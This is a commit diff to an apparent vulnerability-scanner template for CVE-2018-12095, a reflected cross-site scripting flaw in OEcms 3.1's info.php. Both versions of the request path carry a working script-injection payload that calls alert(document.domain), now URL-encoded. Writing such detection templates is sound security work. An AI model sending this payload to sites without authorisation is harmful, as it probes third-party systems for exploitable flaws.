Update CVE-2018-12095.yaml

cves/2018/CVE-2018-12095.yaml

@@ -4,16 +4,17 @@ info:
   name: OEcms 3.1 - Cross-Site Scripting
   author: LogicalHunter
   severity: medium
-  reference: |
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12095
+  description: A Reflected Cross-Site Scripting web vulnerability has been discovered in the OEcms v3.1 web-application. The vulnerability is located in the mod parameter of info.php.
+  reference:
     - https://www.exploit-db.com/exploits/44895
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12095
     - https://cxsecurity.com/issue/WLB-2018060092
-  tags: cve,cve2018,xss,OEcms
+  tags: cve,cve2018,xss
 
 requests:
   - method: GET
     path:
-      - '{{BaseURL}}/cms/info.php?mod=list</script><script>alert(document.domain)</script>'
+      - '{{BaseURL}}/cms/info.php?mod=list%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
 
     matchers-condition: and
     matchers:
@@ -23,9 +24,9 @@ requests:
         part: body
 
       - type: word
-        words:
-          - "text/html"
         part: header
+        words:
+          - text/html
 
       - type: status
         status: